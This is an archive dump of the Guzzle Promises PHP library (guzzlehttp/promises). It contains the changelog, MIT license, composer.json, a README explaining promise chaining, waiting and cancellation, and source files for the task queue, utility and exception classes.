﻿??????????????
﻿﻿??????????????
CHANGELOG.md                                                                                        0000644                 00000003753 15240700263 0006364 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       # CHANGELOG

## 1.5.3 - 2023-05-21

### Changed

- Removed remaining usage of deprecated functions

## 1.5.2 - 2022-08-07

### Changed

- Officially support PHP 8.2

## 1.5.1 - 2021-10-22

### Fixed

- Revert "Call handler when waiting on fulfilled/rejected Promise"
- Fix pool memory leak when empty array of promises provided

## 1.5.0 - 2021-10-07

### Changed

- Call handler when waiting on fulfilled/rejected Promise
- Officially support PHP 8.1

### Fixed

- Fix manually settle promises generated with `Utils::task`

## 1.4.1 - 2021-02-18

### Fixed

- Fixed `each_limit` skipping promises and failing

## 1.4.0 - 2020-09-30

### Added

- Support for PHP 8
- Optional `$recursive` flag to `all`
- Replaced functions by static methods

### Fixed

- Fix empty `each` processing
- Fix promise handling for Iterators of non-unique keys
- Fixed `method_exists` crashes on PHP 8
- Memory leak on exceptions


## 1.3.1 - 2016-12-20

### Fixed

- `wait()` foreign promise compatibility


## 1.3.0 - 2016-11-18

### Added

- Adds support for custom task queues.

### Fixed

- Fixed coroutine promise memory leak.


## 1.2.0 - 2016-05-18

### Changed

- Update to now catch `\Throwable` on PHP 7+


## 1.1.0 - 2016-03-07

### Changed

- Update EachPromise to prevent recurring on a iterator when advancing, as this
  could trigger fatal generator errors.
- Update Promise to allow recursive waiting without unwrapping exceptions.


## 1.0.3 - 2015-10-15

### Changed

- Update EachPromise to immediately resolve when the underlying promise iterator
  is empty. Previously, such a promise would throw an exception when its `wait`
  function was called.


## 1.0.2 - 2015-05-15

### Changed

- Conditionally require functions.php.


## 1.0.1 - 2015-06-24

### Changed

- Updating EachPromise to call next on the underlying promise iterator as late
  as possible to ensure that generators that generate new requests based on
  callbacks are not iterated until after callbacks are invoked.


## 1.0.0 - 2015-05-12

- Initial release
                     LICENSE                                                                                             0000644                 00000002404 15240700263 0005550 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       The MIT License (MIT)

Copyright (c) 2015 Michael Dowling <mtdowling@gmail.com>
Copyright (c) 2015 Graham Campbell <hello@gjcampbell.co.uk>
Copyright (c) 2017 Tobias Schultze <webmaster@tubo-world.de>
Copyright (c) 2020 Tobias Nyholm <tobias.nyholm@gmail.com>

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
                                                                                                                                                                                                                                                            composer.json                                                                                       0000644                 00000002575 15240700263 0007276 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       {
    "name": "guzzlehttp/promises",
    "description": "Guzzle promises library",
    "keywords": ["promise"],
    "license": "MIT",
    "authors": [
        {
            "name": "Graham Campbell",
            "email": "hello@gjcampbell.co.uk",
            "homepage": "https://github.com/GrahamCampbell"
        },
        {
            "name": "Michael Dowling",
            "email": "mtdowling@gmail.com",
            "homepage": "https://github.com/mtdowling"
        },
        {
            "name": "Tobias Nyholm",
            "email": "tobias.nyholm@gmail.com",
            "homepage": "https://github.com/Nyholm"
        },
        {
            "name": "Tobias Schultze",
            "email": "webmaster@tubo-world.de",
            "homepage": "https://github.com/Tobion"
        }
    ],
    "require": {
        "php": ">=5.5"
    },
    "require-dev": {
        "symfony/phpunit-bridge": "^4.4 || ^5.1"
    },
    "autoload": {
        "psr-4": {
            "GuzzleHttp\\Promise\\": "src/"
        },
        "files": ["src/functions_include.php"]
    },
    "autoload-dev": {
        "psr-4": {
            "GuzzleHttp\\Promise\\Tests\\": "tests/"
        }
    },
    "scripts": {
        "test": "vendor/bin/simple-phpunit",
        "test-ci": "vendor/bin/simple-phpunit --coverage-text"
    },
    "config": {
        "preferred-install": "dist",
        "sort-packages": true
    }
}
                                                                                                                                   README.md                                                                                           0000644                 00000042021 15240700263 0006021 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       # Guzzle Promises

[Promises/A+](https://promisesaplus.com/) implementation that handles promise
chaining and resolution iteratively, allowing for "infinite" promise chaining
while keeping the stack size constant. Read [this blog post](https://blog.domenic.me/youre-missing-the-point-of-promises/)
for a general introduction to promises.

- [Features](#features)
- [Quick start](#quick-start)
- [Synchronous wait](#synchronous-wait)
- [Cancellation](#cancellation)
- [API](#api)
  - [Promise](#promise)
  - [FulfilledPromise](#fulfilledpromise)
  - [RejectedPromise](#rejectedpromise)
- [Promise interop](#promise-interop)
- [Implementation notes](#implementation-notes)


## Features

- [Promises/A+](https://promisesaplus.com/) implementation.
- Promise resolution and chaining is handled iteratively, allowing for
  "infinite" promise chaining.
- Promises have a synchronous `wait` method.
- Promises can be cancelled.
- Works with any object that has a `then` function.
- C# style async/await coroutine promises using
  `GuzzleHttp\Promise\Coroutine::of()`.


## Quick Start

A *promise* represents the eventual result of an asynchronous operation. The
primary way of interacting with a promise is through its `then` method, which
registers callbacks to receive either a promise's eventual value or the reason
why the promise cannot be fulfilled.

### Callbacks

Callbacks are registered with the `then` method by providing an optional 
`$onFulfilled` followed by an optional `$onRejected` function.


```php
use GuzzleHttp\Promise\Promise;

$promise = new Promise();
$promise->then(
    // $onFulfilled
    function ($value) {
        echo 'The promise was fulfilled.';
    },
    // $onRejected
    function ($reason) {
        echo 'The promise was rejected.';
    }
);
```

*Resolving* a promise means that you either fulfill a promise with a *value* or
reject a promise with a *reason*. Resolving a promise triggers callbacks
registered with the promise's `then` method. These callbacks are triggered
only once and in the order in which they were added.

### Resolving a Promise

Promises are fulfilled using the `resolve($value)` method. Resolving a promise
with any value other than a `GuzzleHttp\Promise\RejectedPromise` will trigger
all of the onFulfilled callbacks (resolving a promise with a rejected promise
will reject the promise and trigger the `$onRejected` callbacks).

```php
use GuzzleHttp\Promise\Promise;

$promise = new Promise();
$promise
    ->then(function ($value) {
        // Return a value and don't break the chain
        return "Hello, " . $value;
    })
    // This then is executed after the first then and receives the value
    // returned from the first then.
    ->then(function ($value) {
        echo $value;
    });

// Resolving the promise triggers the $onFulfilled callbacks and outputs
// "Hello, reader."
$promise->resolve('reader.');
```

### Promise Forwarding

Promises can be chained one after the other. Each then in the chain is a new
promise. The return value of a promise is what's forwarded to the next
promise in the chain. Returning a promise in a `then` callback will cause the
subsequent promises in the chain to only be fulfilled when the returned promise
has been fulfilled. The next promise in the chain will be invoked with the
resolved value of the promise.

```php
use GuzzleHttp\Promise\Promise;

$promise = new Promise();
$nextPromise = new Promise();

$promise
    ->then(function ($value) use ($nextPromise) {
        echo $value;
        return $nextPromise;
    })
    ->then(function ($value) {
        echo $value;
    });

// Triggers the first callback and outputs "A"
$promise->resolve('A');
// Triggers the second callback and outputs "B"
$nextPromise->resolve('B');
```

### Promise Rejection

When a promise is rejected, the `$onRejected` callbacks are invoked with the
rejection reason.

```php
use GuzzleHttp\Promise\Promise;

$promise = new Promise();
$promise->then(null, function ($reason) {
    echo $reason;
});

$promise->reject('Error!');
// Outputs "Error!"
```

### Rejection Forwarding

If an exception is thrown in an `$onRejected` callback, subsequent
`$onRejected` callbacks are invoked with the thrown exception as the reason.

```php
use GuzzleHttp\Promise\Promise;

$promise = new Promise();
$promise->then(null, function ($reason) {
    throw new Exception($reason);
})->then(null, function ($reason) {
    assert($reason->getMessage() === 'Error!');
});

$promise->reject('Error!');
```

You can also forward a rejection down the promise chain by returning a
`GuzzleHttp\Promise\RejectedPromise` in either an `$onFulfilled` or
`$onRejected` callback.

```php
use GuzzleHttp\Promise\Promise;
use GuzzleHttp\Promise\RejectedPromise;

$promise = new Promise();
$promise->then(null, function ($reason) {
    return new RejectedPromise($reason);
})->then(null, function ($reason) {
    assert($reason === 'Error!');
});

$promise->reject('Error!');
```

If an exception is not thrown in a `$onRejected` callback and the callback
does not return a rejected promise, downstream `$onFulfilled` callbacks are
invoked using the value returned from the `$onRejected` callback.

```php
use GuzzleHttp\Promise\Promise;

$promise = new Promise();
$promise
    ->then(null, function ($reason) {
        return "It's ok";
    })
    ->then(function ($value) {
        assert($value === "It's ok");
    });

$promise->reject('Error!');
```


## Synchronous Wait

You can synchronously force promises to complete using a promise's `wait`
method. When creating a promise, you can provide a wait function that is used
to synchronously force a promise to complete. When a wait function is invoked
it is expected to deliver a value to the promise or reject the promise. If the
wait function does not deliver a value, then an exception is thrown. The wait
function provided to a promise constructor is invoked when the `wait` function
of the promise is called.

```php
$promise = new Promise(function () use (&$promise) {
    $promise->resolve('foo');
});

// Calling wait will return the value of the promise.
echo $promise->wait(); // outputs "foo"
```

If an exception is encountered while invoking the wait function of a promise,
the promise is rejected with the exception and the exception is thrown.

```php
$promise = new Promise(function () use (&$promise) {
    throw new Exception('foo');
});

$promise->wait(); // throws the exception.
```

Calling `wait` on a promise that has been fulfilled will not trigger the wait
function. It will simply return the previously resolved value.

```php
$promise = new Promise(function () { die('this is not called!'); });
$promise->resolve('foo');
echo $promise->wait(); // outputs "foo"
```

Calling `wait` on a promise that has been rejected will throw an exception. If
the rejection reason is an instance of `\Exception` the reason is thrown.
Otherwise, a `GuzzleHttp\Promise\RejectionException` is thrown and the reason
can be obtained by calling the `getReason` method of the exception.

```php
$promise = new Promise();
$promise->reject('foo');
$promise->wait();
```

> PHP Fatal error:  Uncaught exception 'GuzzleHttp\Promise\RejectionException' with message 'The promise was rejected with value: foo'

### Unwrapping a Promise

When synchronously waiting on a promise, you are joining the state of the
promise into the current state of execution (i.e., return the value of the
promise if it was fulfilled or throw an exception if it was rejected). This is
called "unwrapping" the promise. Waiting on a promise will by default unwrap
the promise state.

You can force a promise to resolve and *not* unwrap the state of the promise
by passing `false` to the first argument of the `wait` function:

```php
$promise = new Promise();
$promise->reject('foo');
// This will not throw an exception. It simply ensures the promise has
// been resolved.
$promise->wait(false);
```

When unwrapping a promise, the resolved value of the promise will be waited
upon until the unwrapped value is not a promise. This means that if you resolve
promise A with a promise B and unwrap promise A, the value returned by the
wait function will be the value delivered to promise B.

**Note**: when you do not unwrap the promise, no value is returned.


## Cancellation

You can cancel a promise that has not yet been fulfilled using the `cancel()`
method of a promise. When creating a promise you can provide an optional
cancel function that when invoked cancels the action of computing a resolution
of the promise.


## API

### Promise

When creating a promise object, you can provide an optional `$waitFn` and
`$cancelFn`. `$waitFn` is a function that is invoked with no arguments and is
expected to resolve the promise. `$cancelFn` is a function with no arguments
that is expected to cancel the computation of a promise. It is invoked when the
`cancel()` method of a promise is called.

```php
use GuzzleHttp\Promise\Promise;

$promise = new Promise(
    function () use (&$promise) {
        $promise->resolve('waited');
    },
    function () {
        // do something that will cancel the promise computation (e.g., close
        // a socket, cancel a database query, etc...)
    }
);

assert('waited' === $promise->wait());
```

A promise has the following methods:

- `then(callable $onFulfilled, callable $onRejected) : PromiseInterface`
  
  Appends fulfillment and rejection handlers to the promise, and returns a new promise resolving to the return value of the called handler.

- `otherwise(callable $onRejected) : PromiseInterface`
  
  Appends a rejection handler callback to the promise, and returns a new promise resolving to the return value of the callback if it is called, or to its original fulfillment value if the promise is instead fulfilled.

- `wait($unwrap = true) : mixed`

  Synchronously waits on the promise to complete.
  
  `$unwrap` controls whether or not the value of the promise is returned for a
  fulfilled promise or if an exception is thrown if the promise is rejected.
  This is set to `true` by default.

- `cancel()`

  Attempts to cancel the promise if possible. The promise being cancelled and
  the parent most ancestor that has not yet been resolved will also be
  cancelled. Any promises waiting on the cancelled promise to resolve will also
  be cancelled.

- `getState() : string`

  Returns the state of the promise. One of `pending`, `fulfilled`, or
  `rejected`.

- `resolve($value)`

  Fulfills the promise with the given `$value`.

- `reject($reason)`

  Rejects the promise with the given `$reason`.


### FulfilledPromise

A fulfilled promise can be created to represent a promise that has been
fulfilled.

```php
use GuzzleHttp\Promise\FulfilledPromise;

$promise = new FulfilledPromise('value');

// Fulfilled callbacks are immediately invoked.
$promise->then(function ($value) {
    echo $value;
});
```


### RejectedPromise

A rejected promise can be created to represent a promise that has been
rejected.

```php
use GuzzleHttp\Promise\RejectedPromise;

$promise = new RejectedPromise('Error');

// Rejected callbacks are immediately invoked.
$promise->then(null, function ($reason) {
    echo $reason;
});
```


## Promise Interoperability

This library works with foreign promises that have a `then` method. This means
you can use Guzzle promises with [React promises](https://github.com/reactphp/promise)
for example. When a foreign promise is returned inside of a then method
callback, promise resolution will occur recursively.

```php
// Create a React promise
$deferred = new React\Promise\Deferred();
$reactPromise = $deferred->promise();

// Create a Guzzle promise that is fulfilled with a React promise.
$guzzlePromise = new GuzzleHttp\Promise\Promise();
$guzzlePromise->then(function ($value) use ($reactPromise) {
    // Do something something with the value...
    // Return the React promise
    return $reactPromise;
});
```

Please note that wait and cancel chaining is no longer possible when forwarding
a foreign promise. You will need to wrap a third-party promise with a Guzzle
promise in order to utilize wait and cancel functions with foreign promises.


### Event Loop Integration

In order to keep the stack size constant, Guzzle promises are resolved
asynchronously using a task queue. When waiting on promises synchronously, the
task queue will be automatically run to ensure that the blocking promise and
any forwarded promises are resolved. When using promises asynchronously in an
event loop, you will need to run the task queue on each tick of the loop. If
you do not run the task queue, then promises will not be resolved.

You can run the task queue using the `run()` method of the global task queue
instance.

```php
// Get the global task queue
$queue = GuzzleHttp\Promise\Utils::queue();
$queue->run();
```

For example, you could use Guzzle promises with React using a periodic timer:

```php
$loop = React\EventLoop\Factory::create();
$loop->addPeriodicTimer(0, [$queue, 'run']);
```

*TODO*: Perhaps adding a `futureTick()` on each tick would be faster?


## Implementation Notes

### Promise Resolution and Chaining is Handled Iteratively

By shuffling pending handlers from one owner to another, promises are
resolved iteratively, allowing for "infinite" then chaining.

```php
<?php
require 'vendor/autoload.php';

use GuzzleHttp\Promise\Promise;

$parent = new Promise();
$p = $parent;

for ($i = 0; $i < 1000; $i++) {
    $p = $p->then(function ($v) {
        // The stack size remains constant (a good thing)
        echo xdebug_get_stack_depth() . ', ';
        return $v + 1;
    });
}

$parent->resolve(0);
var_dump($p->wait()); // int(1000)

```

When a promise is fulfilled or rejected with a non-promise value, the promise
then takes ownership of the handlers of each child promise and delivers values
down the chain without using recursion.

When a promise is resolved with another promise, the original promise transfers
all of its pending handlers to the new promise. When the new promise is
eventually resolved, all of the pending handlers are delivered the forwarded
value.

### A Promise is the Deferred

Some promise libraries implement promises using a deferred object to represent
a computation and a promise object to represent the delivery of the result of
the computation. This is a nice separation of computation and delivery because
consumers of the promise cannot modify the value that will be eventually
delivered.

One side effect of being able to implement promise resolution and chaining
iteratively is that you need to be able for one promise to reach into the state
of another promise to shuffle around ownership of handlers. In order to achieve
this without making the handlers of a promise publicly mutable, a promise is
also the deferred value, allowing promises of the same parent class to reach
into and modify the private properties of promises of the same type. While this
does allow consumers of the value to modify the resolution or rejection of the
deferred, it is a small price to pay for keeping the stack size constant.

```php
$promise = new Promise();
$promise->then(function ($value) { echo $value; });
// The promise is the deferred value, so you can deliver a value to it.
$promise->resolve('foo');
// prints "foo"
```


## Upgrading from Function API

A static API was first introduced in 1.4.0, in order to mitigate problems with
functions conflicting between global and local copies of the package. The
function API will be removed in 2.0.0. A migration table has been provided here
for your convenience:

| Original Function | Replacement Method |
|----------------|----------------|
| `queue` | `Utils::queue` |
| `task` | `Utils::task` |
| `promise_for` | `Create::promiseFor` |
| `rejection_for` | `Create::rejectionFor` |
| `exception_for` | `Create::exceptionFor` |
| `iter_for` | `Create::iterFor` |
| `inspect` | `Utils::inspect` |
| `inspect_all` | `Utils::inspectAll` |
| `unwrap` | `Utils::unwrap` |
| `all` | `Utils::all` |
| `some` | `Utils::some` |
| `any` | `Utils::any` |
| `settle` | `Utils::settle` |
| `each` | `Each::of` |
| `each_limit` | `Each::ofLimit` |
| `each_limit_all` | `Each::ofLimitAll` |
| `!is_fulfilled` | `Is::pending` |
| `is_fulfilled` | `Is::fulfilled` |
| `is_rejected` | `Is::rejected` |
| `is_settled` | `Is::settled` |
| `coroutine` | `Coroutine::of` |


## Security

If you discover a security vulnerability within this package, please send an email to security@tidelift.com. All security vulnerabilities will be promptly addressed. Please do not disclose security-related issues publicly until a fix has been announced. Please see [Security Policy](https://github.com/guzzle/promises/security/policy) for more information.


## License

Guzzle is made available under the MIT License (MIT). Please see [License File](LICENSE) for more information.


## For Enterprise

Available as part of the Tidelift Subscription

The maintainers of Guzzle and thousands of other packages are working with Tidelift to deliver commercial support and maintenance for the open source dependencies you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact dependencies you use. [Learn more.](https://tidelift.com/subscription/pkg/packagist-guzzlehttp-promises?utm_source=packagist-guzzlehttp-promises&utm_medium=referral&utm_campaign=enterprise&utm_term=repo)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               src/Is.php                                                                                          0000644                 00000001747 15240700263 0006427 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

final class Is
{
    /**
     * Returns true if a promise is pending.
     *
     * @return bool
     */
    public static function pending(PromiseInterface $promise)
    {
        return $promise->getState() === PromiseInterface::PENDING;
    }

    /**
     * Returns true if a promise is fulfilled or rejected.
     *
     * @return bool
     */
    public static function settled(PromiseInterface $promise)
    {
        return $promise->getState() !== PromiseInterface::PENDING;
    }

    /**
     * Returns true if a promise is fulfilled.
     *
     * @return bool
     */
    public static function fulfilled(PromiseInterface $promise)
    {
        return $promise->getState() === PromiseInterface::FULFILLED;
    }

    /**
     * Returns true if a promise is rejected.
     *
     * @return bool
     */
    public static function rejected(PromiseInterface $promise)
    {
        return $promise->getState() === PromiseInterface::REJECTED;
    }
}
                         src/TaskQueueInterface.php                                                                          0000644                 00000000661 15240700263 0011576 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

interface TaskQueueInterface
{
    /**
     * Returns true if the queue is empty.
     *
     * @return bool
     */
    public function isEmpty();

    /**
     * Adds a task to the queue that will be executed the next time run is
     * called.
     */
    public function add(callable $task);

    /**
     * Execute all of the pending task in the queue.
     */
    public function run();
}
                                                                               src/CancellationException.php                                                                       0000644                 00000000267 15240700263 0012323 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

/**
 * Exception that is set as the reason for a promise that has been cancelled.
 */
class CancellationException extends RejectionException
{
}
                                                                                                                                                                                                                                                                                                                                         src/RejectionException.php                                                                          0000644                 00000002302 15240700263 0011641 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

/**
 * A special exception that is thrown when waiting on a rejected promise.
 *
 * The reason value is available via the getReason() method.
 */
class RejectionException extends \RuntimeException
{
    /** @var mixed Rejection reason. */
    private $reason;

    /**
     * @param mixed  $reason      Rejection reason.
     * @param string $description Optional description
     */
    public function __construct($reason, $description = null)
    {
        $this->reason = $reason;

        $message = 'The promise was rejected';

        if ($description) {
            $message .= ' with reason: ' . $description;
        } elseif (is_string($reason)
            || (is_object($reason) && method_exists($reason, '__toString'))
        ) {
            $message .= ' with reason: ' . $this->reason;
        } elseif ($reason instanceof \JsonSerializable) {
            $message .= ' with reason: '
                . json_encode($this->reason, JSON_PRETTY_PRINT);
        }

        parent::__construct($message);
    }

    /**
     * Returns the rejection reason.
     *
     * @return mixed
     */
    public function getReason()
    {
        return $this->reason;
    }
}
                                                                                                                                                                                                                                                                                                                              src/AggregateException.php                                                                          0000644                 00000000574 15240700263 0011616 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

/**
 * Exception thrown when too many errors occur in the some() or any() methods.
 */
class AggregateException extends RejectionException
{
    public function __construct($msg, array $reasons)
    {
        parent::__construct(
            $reasons,
            sprintf('%s; %d rejected promises', $msg, count($reasons))
        );
    }
}
                                                                                                                                    src/Create.php                                                                                      0000644                 00000004100 15240700263 0007241 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

final class Create
{
    /**
     * Creates a promise for a value if the value is not a promise.
     *
     * @param mixed $value Promise or value.
     *
     * @return PromiseInterface
     */
    public static function promiseFor($value)
    {
        if ($value instanceof PromiseInterface) {
            return $value;
        }

        // Return a Guzzle promise that shadows the given promise.
        if (is_object($value) && method_exists($value, 'then')) {
            $wfn = method_exists($value, 'wait') ? [$value, 'wait'] : null;
            $cfn = method_exists($value, 'cancel') ? [$value, 'cancel'] : null;
            $promise = new Promise($wfn, $cfn);
            $value->then([$promise, 'resolve'], [$promise, 'reject']);
            return $promise;
        }

        return new FulfilledPromise($value);
    }

    /**
     * Creates a rejected promise for a reason if the reason is not a promise.
     * If the provided reason is a promise, then it is returned as-is.
     *
     * @param mixed $reason Promise or reason.
     *
     * @return PromiseInterface
     */
    public static function rejectionFor($reason)
    {
        if ($reason instanceof PromiseInterface) {
            return $reason;
        }

        return new RejectedPromise($reason);
    }

    /**
     * Create an exception for a rejected promise value.
     *
     * @param mixed $reason
     *
     * @return \Exception|\Throwable
     */
    public static function exceptionFor($reason)
    {
        if ($reason instanceof \Exception || $reason instanceof \Throwable) {
            return $reason;
        }

        return new RejectionException($reason);
    }

    /**
     * Returns an iterator for the given value.
     *
     * @param mixed $value
     *
     * @return \Iterator
     */
    public static function iterFor($value)
    {
        if ($value instanceof \Iterator) {
            return $value;
        }

        if (is_array($value)) {
            return new \ArrayIterator($value);
        }

        return new \ArrayIterator([$value]);
    }
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                src/TaskQueue.php                                                                                   0000644                 00000003624 15240700263 0007757 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

/**
 * A task queue that executes tasks in a FIFO order.
 *
 * This task queue class is used to settle promises asynchronously and
 * maintains a constant stack size. You can use the task queue asynchronously
 * by calling the `run()` function of the global task queue in an event loop.
 *
 *     GuzzleHttp\Promise\Utils::queue()->run();
 */
class TaskQueue implements TaskQueueInterface
{
    private $enableShutdown = true;
    private $queue = [];

    public function __construct($withShutdown = true)
    {
        if ($withShutdown) {
            register_shutdown_function(function () {
                if ($this->enableShutdown) {
                    // Only run the tasks if an E_ERROR didn't occur.
                    $err = error_get_last();
                    if (!$err || ($err['type'] ^ E_ERROR)) {
                        $this->run();
                    }
                }
            });
        }
    }

    public function isEmpty()
    {
        return !$this->queue;
    }

    public function add(callable $task)
    {
        $this->queue[] = $task;
    }

    public function run()
    {
        while ($task = array_shift($this->queue)) {
            /** @var callable $task */
            $task();
        }
    }

    /**
     * The task queue will be run and exhausted by default when the process
     * exits IFF the exit is not the result of a PHP E_ERROR error.
     *
     * You can disable running the automatic shutdown of the queue by calling
     * this function. If you disable the task queue shutdown process, then you
     * MUST either run the task queue (as a result of running your event loop
     * or manually using the run() method) or wait on each outstanding promise.
     *
     * Note: This shutdown will occur before any destructors are triggered.
     */
    public function disableShutdown()
    {
        $this->enableShutdown = false;
    }
}
                                                                                                            src/Utils.php                                                                                       0000644                 00000021006 15240700263 0007142 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

final class Utils
{
    /**
     * Get the global task queue used for promise resolution.
     *
     * This task queue MUST be run in an event loop in order for promises to be
     * settled asynchronously. It will be automatically run when synchronously
     * waiting on a promise.
     *
     * <code>
     * while ($eventLoop->isRunning()) {
     *     GuzzleHttp\Promise\Utils::queue()->run();
     * }
     * </code>
     *
     * @param TaskQueueInterface $assign Optionally specify a new queue instance.
     *
     * @return TaskQueueInterface
     */
    public static function queue(TaskQueueInterface $assign = null)
    {
        static $queue;

        if ($assign) {
            $queue = $assign;
        } elseif (!$queue) {
            $queue = new TaskQueue();
        }

        return $queue;
    }

    /**
     * Adds a function to run in the task queue when it is next `run()` and
     * returns a promise that is fulfilled or rejected with the result.
     *
     * @param callable $task Task function to run.
     *
     * @return PromiseInterface
     */
    public static function task(callable $task)
    {
        $queue = self::queue();
        $promise = new Promise([$queue, 'run']);
        $queue->add(function () use ($task, $promise) {
            try {
                if (Is::pending($promise)) {
                    $promise->resolve($task());
                }
            } catch (\Throwable $e) {
                $promise->reject($e);
            } catch (\Exception $e) {
                $promise->reject($e);
            }
        });

        return $promise;
    }

    /**
     * Synchronously waits on a promise to resolve and returns an inspection
     * state array.
     *
     * Returns a state associative array containing a "state" key mapping to a
     * valid promise state. If the state of the promise is "fulfilled", the
     * array will contain a "value" key mapping to the fulfilled value of the
     * promise. If the promise is rejected, the array will contain a "reason"
     * key mapping to the rejection reason of the promise.
     *
     * @param PromiseInterface $promise Promise or value.
     *
     * @return array
     */
    public static function inspect(PromiseInterface $promise)
    {
        try {
            return [
                'state' => PromiseInterface::FULFILLED,
                'value' => $promise->wait()
            ];
        } catch (RejectionException $e) {
            return ['state' => PromiseInterface::REJECTED, 'reason' => $e->getReason()];
        } catch (\Throwable $e) {
            return ['state' => PromiseInterface::REJECTED, 'reason' => $e];
        } catch (\Exception $e) {
            return ['state' => PromiseInterface::REJECTED, 'reason' => $e];
        }
    }

    /**
     * Waits on all of the provided promises, but does not unwrap rejected
     * promises as thrown exception.
     *
     * Returns an array of inspection state arrays.
     *
     * @see inspect for the inspection state array format.
     *
     * @param PromiseInterface[] $promises Traversable of promises to wait upon.
     *
     * @return array
     */
    public static function inspectAll($promises)
    {
        $results = [];
        foreach ($promises as $key => $promise) {
            $results[$key] = self::inspect($promise);
        }

        return $results;
    }

    /**
     * Waits on all of the provided promises and returns the fulfilled values.
     *
     * Returns an array that contains the value of each promise (in the same
     * order the promises were provided). An exception is thrown if any of the
     * promises are rejected.
     *
     * @param iterable<PromiseInterface> $promises Iterable of PromiseInterface objects to wait on.
     *
     * @return array
     *
     * @throws \Exception on error
     * @throws \Throwable on error in PHP >=7
     */
    public static function unwrap($promises)
    {
        $results = [];
        foreach ($promises as $key => $promise) {
            $results[$key] = $promise->wait();
        }

        return $results;
    }

    /**
     * Given an array of promises, return a promise that is fulfilled when all
     * the items in the array are fulfilled.
     *
     * The promise's fulfillment value is an array with fulfillment values at
     * respective positions to the original array. If any promise in the array
     * rejects, the returned promise is rejected with the rejection reason.
     *
     * @param mixed $promises  Promises or values.
     * @param bool  $recursive If true, resolves new promises that might have been added to the stack during its own resolution.
     *
     * @return PromiseInterface
     */
    public static function all($promises, $recursive = false)
    {
        $results = [];
        $promise = Each::of(
            $promises,
            function ($value, $idx) use (&$results) {
                $results[$idx] = $value;
            },
            function ($reason, $idx, Promise $aggregate) {
                $aggregate->reject($reason);
            }
        )->then(function () use (&$results) {
            ksort($results);
            return $results;
        });

        if (true === $recursive) {
            $promise = $promise->then(function ($results) use ($recursive, &$promises) {
                foreach ($promises as $promise) {
                    if (Is::pending($promise)) {
                        return self::all($promises, $recursive);
                    }
                }
                return $results;
            });
        }

        return $promise;
    }

    /**
     * Initiate a competitive race between multiple promises or values (values
     * will become immediately fulfilled promises).
     *
     * When count amount of promises have been fulfilled, the returned promise
     * is fulfilled with an array that contains the fulfillment values of the
     * winners in order of resolution.
     *
     * This promise is rejected with a {@see AggregateException} if the number
     * of fulfilled promises is less than the desired $count.
     *
     * @param int   $count    Total number of promises.
     * @param mixed $promises Promises or values.
     *
     * @return PromiseInterface
     */
    public static function some($count, $promises)
    {
        $results = [];
        $rejections = [];

        return Each::of(
            $promises,
            function ($value, $idx, PromiseInterface $p) use (&$results, $count) {
                if (Is::settled($p)) {
                    return;
                }
                $results[$idx] = $value;
                if (count($results) >= $count) {
                    $p->resolve(null);
                }
            },
            function ($reason) use (&$rejections) {
                $rejections[] = $reason;
            }
        )->then(
            function () use (&$results, &$rejections, $count) {
                if (count($results) !== $count) {
                    throw new AggregateException(
                        'Not enough promises to fulfill count',
                        $rejections
                    );
                }
                ksort($results);
                return array_values($results);
            }
        );
    }

    /**
     * Like some(), with 1 as count. However, if the promise fulfills, the
     * fulfillment value is not an array of 1 but the value directly.
     *
     * @param mixed $promises Promises or values.
     *
     * @return PromiseInterface
     */
    public static function any($promises)
    {
        return self::some(1, $promises)->then(function ($values) {
            return $values[0];
        });
    }

    /**
     * Returns a promise that is fulfilled when all of the provided promises have
     * been fulfilled or rejected.
     *
     * The returned promise is fulfilled with an array of inspection state arrays.
     *
     * @see inspect for the inspection state array format.
     *
     * @param mixed $promises Promises or values.
     *
     * @return PromiseInterface
     */
    public static function settle($promises)
    {
        $results = [];

        return Each::of(
            $promises,
            function ($value, $idx) use (&$results) {
                $results[$idx] = ['state' => PromiseInterface::FULFILLED, 'value' => $value];
            },
            function ($reason, $idx) use (&$results) {
                $results[$idx] = ['state' => PromiseInterface::REJECTED, 'reason' => $reason];
            }
        )->then(function () use (&$results) {
            ksort($results);
            return $results;
        });
    }
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          src/PromisorInterface.php                                                                           0000644                 00000000364 15240700263 0011501 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

/**
 * Interface used with classes that return a promise.
 */
interface PromisorInterface
{
    /**
     * Returns a promise.
     *
     * @return PromiseInterface
     */
    public function promise();
}
